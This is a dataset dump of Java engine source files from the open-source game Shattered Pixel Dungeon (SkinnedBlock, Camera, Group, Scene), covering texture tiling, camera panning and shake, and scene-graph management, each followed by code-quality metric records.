{" + " gl_FragColor = texture2D( uTex, vUV ) * uColorM + uColorA;" + "}"; }
4,924
NoosaScript
java
en
java
code
{"qsc_code_num_words": 616, "qsc_code_num_chars": 4924.0, "qsc_code_mean_word_length": 5.3262987, "qsc_code_frac_words_unique": 0.33279221, "qsc_code_frac_chars_top_2grams": 0.02194453, "qsc_code_frac_chars_top_3grams": 0.02743066, "qsc_code_frac_chars_top_4grams": 0.04206035, "qsc_code_frac_chars_dupe_5grams": 0.25449558, "qsc_code_frac_chars_dupe_6grams": 0.23956111, "qsc_code_frac_chars_dupe_7grams": 0.21213045, "qsc_code_frac_chars_dupe_8grams": 0.21213045, "qsc_code_frac_chars_dupe_9grams": 0.21213045, "qsc_code_frac_chars_dupe_10grams": 0.19506248, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0235234, "qsc_code_frac_chars_whitespace": 0.20572705, "qsc_code_size_file_byte": 4924.0, "qsc_code_num_lines": 214.0, "qsc_code_num_chars_line_max": 125.0, "qsc_code_num_chars_line_mean": 23.00934579, "qsc_code_frac_chars_alphabet": 0.81539248, "qsc_code_frac_chars_comments": 0.17729488, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.23357664, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.10096273, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.08029197, "qsc_codejava_score_lines_no_logic": 0.23357664, "qsc_codejava_frac_words_no_modifier": 0.91666667, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/SkinnedBlock.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.watabou.glwrap.Texture; import com.watabou.utils.RectF; public class SkinnedBlock extends Image { protected float scaleX; protected float scaleY; protected float offsetX; protected float offsetY; public boolean autoAdjust = false; public SkinnedBlock( float width, float height, Object tx ) { super( tx ); texture.wrap( Texture.REPEAT, Texture.REPEAT ); size( width, height ); } @Override public void frame( RectF frame ) { scaleX = 1; scaleY = 1; offsetX = 0; offsetY = 0; super.frame( new RectF( 0, 0, 1, 1 ) ); } @Override protected void updateFrame() { if (autoAdjust) { while (offsetX > texture.width) { offsetX -= texture.width; } while (offsetX < -texture.width) { offsetX += texture.width; } while (offsetY > texture.height) { offsetY -= texture.height; } while (offsetY < -texture.height) { offsetY += texture.height; } } float tw = 1f / texture.width; float th = 1f / texture.height; float u0 = offsetX * tw; float v0 = offsetY * th; float u1 = u0 + width * tw / scaleX; float v1 = v0 + height * th / scaleY; vertices[2] = u0; vertices[3] = v0; vertices[6] = u1; vertices[7] = v0; vertices[10] = u1; vertices[11] = v1; vertices[14] = u0; vertices[15] = v1; dirty = true; } public void offsetTo( float x, float y ) { offsetX = x; offsetY = y; updateFrame(); } public void offset( float x, float y ) { offsetX += x; offsetY += y; updateFrame(); } public float offsetX() { return offsetX; } public float offsetY() { return offsetY; } public void scale( float x, float y ) { scaleX = x; scaleY = y; updateFrame(); } public void size( float w, float h ) { this.width = w; this.height = h; updateFrame(); updateVertices(); } }
2,660
SkinnedBlock
java
en
java
code
{"qsc_code_num_words": 348, "qsc_code_num_chars": 2660.0, "qsc_code_mean_word_length": 4.96551724, "qsc_code_frac_words_unique": 0.40804598, "qsc_code_frac_chars_top_2grams": 0.02893519, "qsc_code_frac_chars_top_3grams": 0.04398148, "qsc_code_frac_chars_top_4grams": 0.03298611, "qsc_code_frac_chars_dupe_5grams": 0.20138889, "qsc_code_frac_chars_dupe_6grams": 0.18634259, "qsc_code_frac_chars_dupe_7grams": 0.15393519, "qsc_code_frac_chars_dupe_8grams": 0.10474537, "qsc_code_frac_chars_dupe_9grams": 0.05208333, "qsc_code_frac_chars_dupe_10grams": 0.05208333, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02632886, "qsc_code_frac_chars_whitespace": 0.24323308, "qsc_code_size_file_byte": 2660.0, "qsc_code_num_lines": 129.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 20.62015504, "qsc_code_frac_chars_alphabet": 0.83209141, "qsc_code_frac_chars_comments": 0.29360902, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.07317073, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.09756098, "qsc_codejava_score_lines_no_logic": 0.20731707, "qsc_codejava_frac_words_no_modifier": 0.88888889, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/Camera.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.watabou.glwrap.Matrix; import com.watabou.utils.Point; import com.watabou.utils.PointF; import com.watabou.utils.Random; import java.util.ArrayList; public class Camera extends Gizmo { private static ArrayList<Camera> all = new ArrayList<>(); protected static float invW2; protected static float invH2; public static Camera main; public boolean fullScreen; public float zoom; public int x; public int y; public int width; public int height; int screenWidth; int screenHeight; public float[] matrix; public PointF scroll; private float shakeMagX = 10f; private float shakeMagY = 10f; private float shakeTime = 0f; private float shakeDuration = 1f; protected float shakeX; protected float shakeY; public static Camera reset() { return reset( createFullscreen( 1 ) ); } public static synchronized Camera reset( Camera newCamera ) { invW2 = 2f / Game.width; invH2 = 2f / Game.height; int length = all.size(); for (int i=0; i < length; i++) { all.get( i ).destroy(); } all.clear(); return main = add( newCamera ); } public static synchronized Camera add( Camera camera ) { all.add( camera ); return camera; } public static synchronized Camera remove( Camera camera ) { all.remove( camera ); return camera; } public static synchronized void updateAll() { int length = all.size(); for (int i=0; i < length; i++) { Camera c = all.get( i ); if (c.exists && c.active) { c.update(); } } } public static Camera createFullscreen( float zoom ) { int w = (int)Math.ceil( Game.width / zoom ); int h = (int)Math.ceil( Game.height / zoom ); Camera c = new Camera( (int)(Game.width - w * zoom) / 2, (int)(Game.height - h * zoom) / 2, w, h, zoom ); c.fullScreen = true; return c; } public Camera( int x, int y, int width, int height, float zoom ) { this.x = x; this.y = y; this.width = width; this.height = height; this.zoom = zoom; screenWidth = (int)(width * zoom); screenHeight = (int)(height * zoom); scroll = new PointF(); matrix = new float[16]; Matrix.setIdentity( matrix ); } @Override public void destroy() { panIntensity = 0f; } public void zoom( float value ) { zoom( value, scroll.x + width / 2, scroll.y + height / 2 ); } public void zoom( float value, float fx, float fy ) { zoom = value; width = (int)(screenWidth / zoom); height = (int)(screenHeight / zoom); snapTo( fx, fy ); } public void resize( int width, int height ) { this.width = width; this.height = height; screenWidth = (int)(width * zoom); screenHeight = (int)(height * zoom); } Visual followTarget = null; PointF panTarget; //camera moves at a speed such that it will pan to its current target in 1/intensity seconds //keep in mind though that this speed is constantly decreasing, so actual pan time is higher float panIntensity = 0f; @Override public void update() { super.update(); if (followTarget != null){ panTarget = followTarget.center(); } if (panIntensity > 0f){ PointF panMove = new PointF(); panMove.x = panTarget.x - (scroll.x + width/2f); panMove.y = panTarget.y - (scroll.y + height/2f); panMove.scale(Math.min(1f, Game.elapsed * panIntensity)); scroll.offset(panMove); } if ((shakeTime -= Game.elapsed) > 0) { float damping = shakeTime / shakeDuration; shakeX = Random.Float( -shakeMagX, +shakeMagX ) * damping; shakeY = Random.Float( -shakeMagY, +shakeMagY ) * damping; } else { shakeX = 0; shakeY = 0; } updateMatrix(); } public PointF center() { return new PointF( width / 2, height / 2 ); } public boolean hitTest( float x, float y ) { return x >= this.x && y >= this.y && x < this.x + screenWidth && y < this.y + screenHeight; } public void shift( PointF point ){ scroll.offset(point); panIntensity = 0f; } public void snapTo(float x, float y ) { scroll.set( x - width / 2, y - height / 2 ); panIntensity = 0f; followTarget = null; } public void snapTo(PointF point ) { snapTo( point.x, point.y ); } public void panTo( PointF dst, float intensity ){ panTarget = dst; panIntensity = intensity; followTarget = null; } public void panFollow(Visual target, float intensity ){ followTarget = target; panIntensity = intensity; } public PointF screenToCamera( int x, int y ) { return new PointF( (x - this.x) / zoom + scroll.x, (y - this.y) / zoom + scroll.y ); } public Point cameraToScreen( float x, float y ) { return new Point( (int)((x - scroll.x) * zoom + this.x), (int)((y - scroll.y) * zoom + this.y)); } public float screenWidth() { return width * zoom; } public float screenHeight() { return height * zoom; } protected void updateMatrix() { /* Matrix.setIdentity( matrix ); Matrix.translate( matrix, -1, +1 ); Matrix.scale( matrix, 2f / G.width, -2f / G.height ); Matrix.translate( matrix, x, y ); Matrix.scale( matrix, zoom, zoom ); Matrix.translate( matrix, scroll.x, scroll.y );*/ matrix[0] = +zoom * invW2; matrix[5] = -zoom * invH2; matrix[12] = -1 + x * invW2 - (scroll.x + shakeX) * matrix[0]; matrix[13] = +1 - y * invH2 - (scroll.y + shakeY) * matrix[5]; } public void shake( float magnitude, float duration ) { shakeMagX = shakeMagY = magnitude; shakeTime = shakeDuration = duration; } }
6,246
Camera
java
en
java
code
{"qsc_code_num_words": 820, "qsc_code_num_chars": 6246.0, "qsc_code_mean_word_length": 4.95731707, "qsc_code_frac_words_unique": 0.25731707, "qsc_code_frac_chars_top_2grams": 0.02706027, "qsc_code_frac_chars_top_3grams": 0.01574416, "qsc_code_frac_chars_top_4grams": 0.01402214, "qsc_code_frac_chars_dupe_5grams": 0.11562116, "qsc_code_frac_chars_dupe_6grams": 0.08856089, "qsc_code_frac_chars_dupe_7grams": 0.03936039, "qsc_code_frac_chars_dupe_8grams": 0.03936039, "qsc_code_frac_chars_dupe_9grams": 0.01574416, "qsc_code_frac_chars_dupe_10grams": 0.01574416, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01492228, "qsc_code_frac_chars_whitespace": 0.2275056, "qsc_code_size_file_byte": 6246.0, "qsc_code_num_lines": 268.0, "qsc_code_num_chars_line_max": 94.0, "qsc_code_num_chars_line_mean": 23.30597015, "qsc_code_frac_chars_alphabet": 0.82756477, "qsc_code_frac_chars_comments": 0.1948447, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.12777778, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.11666667, "qsc_codejava_score_lines_no_logic": 0.25, "qsc_codejava_frac_words_no_modifier": 0.90909091, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/Group.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.badlogic.gdx.utils.reflect.ClassReflection; import com.watabou.noosa.particles.Emitter; import com.watabou.utils.Random; import com.watabou.utils.Reflection; import java.util.ArrayList; public class Group extends Gizmo { protected ArrayList<Gizmo> members; // Accessing it is a little faster, // than calling members.getSize() public int length; public static boolean freezeEmitters = false; public Group() { members = new ArrayList<>(); length = 0; } @Override public synchronized void destroy() { super.destroy(); for (int i=0; i < length; i++) { Gizmo g = members.get( i ); if (g != null) { g.destroy(); } } if (members != null) { members.clear(); members = null; } length = 0; } @Override public synchronized void update() { for (int i=0; i < length; i++) { Gizmo g = members.get( i ); if (g != null && g.exists && g.active //functionality for the freezing of emitters(particle effects), effects are given a second //from load to get started so they aren't frozen before anything is generated. && !(freezeEmitters && Game.timeTotal > 1f && g instanceof Emitter)) { g.update(); } } } @Override public synchronized void draw() { for (int i=0; i < length; i++) { Gizmo g = members.get( i ); if (g != null && g.exists && g.isVisible()) { g.draw(); } } } @Override public synchronized void kill() { // A killed group keeps all its members, // but they get killed too for (int i=0; i < length; i++) { Gizmo g = members.get( i ); if (g != null && g.exists) { g.kill(); } } super.kill(); } public synchronized int indexOf( Gizmo g ) { return members.indexOf( g ); } public synchronized Gizmo add( Gizmo g ) { if (g.parent == this) { return g; } if (g.parent != null) { g.parent.remove( g ); } // Trying to find an empty space for a new member for (int i=0; i < length; i++) { if (members.get( i ) == null) { members.set( i, g ); g.parent = this; return g; } } members.add( g ); g.parent = this; length++; return g; } public synchronized Gizmo addToFront( Gizmo g){ if (g.parent == this) { return g; } if (g.parent != null) { g.parent.remove( g ); } // Trying to find an empty space for a new member // starts from the front and never goes over a none-null element for (int i=length-1; i >= 0; i--) { if (members.get( i ) == null) { if (i == 0 || members.get(i - 1) != null) { members.set(i, g); g.parent = this; return g; } } else { break; } } members.add( g ); g.parent = this; length++; return g; } public synchronized Gizmo addToBack( Gizmo g ) { if (g.parent == this) { sendToBack( g ); return g; } if (g.parent != null) { g.parent.remove( g ); } if (members.get( 0 ) == null) { members.set( 0, g ); g.parent = this; return g; } members.add( 0, g ); g.parent = this; length++; return g; } public synchronized Gizmo recycle( Class<? extends Gizmo> c ) { Gizmo g = getFirstAvailable( c ); if (g != null) { return g; } else if (c == null) { return null; } else { g = Reflection.newInstance(c); if (g != null) { return add(g); } } return null; } // Fast removal - replacing with null public synchronized Gizmo erase( Gizmo g ) { int index = members.indexOf( g ); if (index != -1) { members.set( index, null ); g.parent = null; return g; } else { return null; } } // Real removal public synchronized Gizmo remove( Gizmo g ) { if (members.remove( g )) { length--; g.parent = null; return g; } else { return null; } } public synchronized Gizmo replace( Gizmo oldOne, Gizmo newOne ) { int index = members.indexOf( oldOne ); if (index != -1) { members.set( index, newOne ); newOne.parent = this; oldOne.parent = null; return newOne; } else { return null; } } public synchronized Gizmo getFirstAvailable( Class<? extends Gizmo> c ) { for (int i=0; i < length; i++) { Gizmo g = members.get( i ); if (g != null && !g.exists && ((c == null) || g.getClass() == c)) { return g; } } return null; } public synchronized int countLiving() { int count = 0; for (int i=0; i < length; i++) { Gizmo g = members.get( i ); if (g != null && g.exists && g.alive) { count++; } } return count; } public synchronized int countDead() { int count = 0; for (int i=0; i < length; i++) { Gizmo g = members.get( i ); if (g != null && !g.alive) { count++; } } return count; } public synchronized Gizmo random() { if (length > 0) { return members.get( Random.Int(length) ); } else { return null; } } public synchronized void clear() { for (int i=0; i < length; i++) { Gizmo g = members.get( i ); if (g != null) { g.parent = null; } } members.clear(); length = 0; } public synchronized Gizmo bringToFront( Gizmo g ) { if (members.contains( g )) { members.remove( g ); members.add( g ); return g; } else { return null; } } public synchronized Gizmo sendToBack( Gizmo g ) { if (members.contains( g )) { members.remove( g ); members.add( 0, g ); return g; } else { return null; } } }
6,159
Group
java
en
java
code
{"qsc_code_num_words": 836, "qsc_code_num_chars": 6159.0, "qsc_code_mean_word_length": 4.40191388, "qsc_code_frac_words_unique": 0.24401914, "qsc_code_frac_chars_top_2grams": 0.09293478, "qsc_code_frac_chars_top_3grams": 0.03288043, "qsc_code_frac_chars_top_4grams": 0.01956522, "qsc_code_frac_chars_dupe_5grams": 0.42146739, "qsc_code_frac_chars_dupe_6grams": 0.39728261, "qsc_code_frac_chars_dupe_7grams": 0.31956522, "qsc_code_frac_chars_dupe_8grams": 0.29402174, "qsc_code_frac_chars_dupe_9grams": 0.25054348, "qsc_code_frac_chars_dupe_10grams": 0.25054348, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00948599, "qsc_code_frac_chars_whitespace": 0.2640039, "qsc_code_size_file_byte": 6159.0, "qsc_code_num_lines": 319.0, "qsc_code_num_chars_line_max": 96.0, "qsc_code_num_chars_line_mean": 19.30721003, "qsc_code_frac_chars_alphabet": 0.80233841, "qsc_code_frac_chars_comments": 0.21058613, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.45217391, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.00434783, "qsc_codejava_score_lines_no_logic": 0.15652174, "qsc_codejava_frac_words_no_modifier": 0.0, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/Scene.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.badlogic.gdx.Input; import com.watabou.input.NoosaInputProcessor; import com.watabou.utils.Signal; public class Scene extends Group { private Signal.Listener<NoosaInputProcessor.Key> keyListener; public void create() { Game.instance.getInputProcessor().addKeyListener(keyListener = new Signal.Listener<NoosaInputProcessor.Key>() { @Override public void onSignal(NoosaInputProcessor.Key key) { if (Game.instance != null && key.pressed) { switch (key.code) { case Input.Keys.BACK: case Input.Keys.ESCAPE: onBackPressed(); break; case Input.Keys.MENU: case Input.Keys.F5: onMenuPressed(); break; } } } }); } @Override public void destroy() { Game.instance.getInputProcessor().removeKeyListener(keyListener); super.destroy(); } public void onPause() { } public void onResume(){ } @Override public void update() { super.update(); } @Override public Camera camera() { return Camera.main; } protected void onBackPressed() { Game.instance.finish(); } protected void onMenuPressed() { } }
1,941
Scene
java
en
java
code
{"qsc_code_num_words": 239, "qsc_code_num_chars": 1941.0, "qsc_code_mean_word_length": 5.66108787, "qsc_code_frac_words_unique": 0.54393305, "qsc_code_frac_chars_top_2grams": 0.0443459, "qsc_code_frac_chars_top_3grams": 0.03843311, "qsc_code_frac_chars_top_4grams": 0.0421286, "qsc_code_frac_chars_dupe_5grams": 0.06060606, "qsc_code_frac_chars_dupe_6grams": 0.0413895, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01168073, "qsc_code_frac_chars_whitespace": 0.20607934, "qsc_code_size_file_byte": 1941.0, "qsc_code_num_lines": 84.0, "qsc_code_num_chars_line_max": 114.0, "qsc_code_num_chars_line_mean": 23.10714286, "qsc_code_frac_chars_alphabet": 0.86632057, "qsc_code_frac_chars_comments": 0.40236991, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.125, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 1.0, "qsc_codejava_frac_lines_func_ratio": 0.1875, "qsc_codejava_score_lines_no_logic": 0.27083333, "qsc_codejava_frac_words_no_modifier": 0.9, "qsc_codejava_frac_words_legal_var_name": null, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, 